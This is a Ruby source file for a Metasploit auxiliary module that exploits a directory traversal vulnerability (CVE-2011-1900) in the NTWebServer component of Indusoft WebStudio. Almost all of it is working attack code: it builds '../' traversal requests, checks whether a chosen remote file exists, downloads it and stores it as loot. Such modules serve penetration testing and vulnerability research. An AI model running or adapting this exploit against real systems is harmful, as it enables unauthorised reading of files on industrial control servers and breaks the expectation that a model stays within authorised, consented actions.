111 lines
2.9 KiB
Ruby
111 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Indusoft WebStudio NTWebServer Remote File Access',
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'Description' => %q{
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This module exploits a directory traversal vulnerability in Indusoft WebStudio.
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The vulnerability exists in the NTWebServer component and allows to read arbitrary
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remote files with the privileges of the NTWebServer process. The module has been
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tested successfully on Indusoft WebStudio 6.1 SP6.
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},
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'References' =>
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[
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[ 'CVE', '2011-1900' ],
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[ 'OSVDB', '73413' ],
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[ 'BID', '47842' ],
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[ 'URL', 'http://www.indusoft.com/hotfixes/hotfixes.php' ]
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],
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'Author' =>
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[
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'Unknown', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE
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)
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register_options(
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[
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OptString.new('RFILE', [true, 'Remote File', '/windows\\win.ini']),
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OptInt.new('DEPTH', [true, 'Traversal depth', 3])
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], self.class)
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register_autofilter_ports([ 80 ])
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deregister_options('RHOST')
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end
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def run_host(ip)
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res = send_request_cgi({
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'uri' => "/",
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'method' => 'GET'
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})
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if not res
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print_error("#{rhost}:#{rport} - Unable to connect")
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return
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end
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accessfile(ip)
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end
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def accessfile(rhost)
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traversal = "../" * datastore['DEPTH']
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rfile = ""
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if datastore['RFILE'][0] == "/"
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rfile = datastore['RFILE'][1..datastore['RFILE'].length-1]
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else
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rfile = datastore['RFILE']
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end
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print_status("#{rhost}:#{rport} - Checking if file exists...")
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res = send_request_cgi({
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'uri' => "/#{traversal}#{rfile}",
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'method' => 'HEAD'
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})
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if res and res.code == 200 and res.message =~ /File Exists/
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print_good("#{rhost}:#{rport} - The file exists")
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else
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print_error("#{rhost}:#{rport} - The file doesn't exist")
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return
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end
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print_status("#{rhost}:#{rport} - Retrieving remote file...")
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res = send_request_cgi({
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'uri' => "/#{traversal}#{rfile}",
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'method' => 'GET'
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})
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if res and res.code == 200 and res.message =~ /Sending file/
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loot = res.body
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if not loot or loot.empty?
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print_status("#{rhost}:#{rport} - Retrieved empty file")
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return
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end
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f = ::File.basename(datastore['RFILE'])
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path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
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print_status("#{rhost}:#{rport} - #{datastore['RFILE']} saved in #{path}")
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return
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end
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print_error("#{rhost}:#{rport} - Failed to retrieve file")
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end
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end
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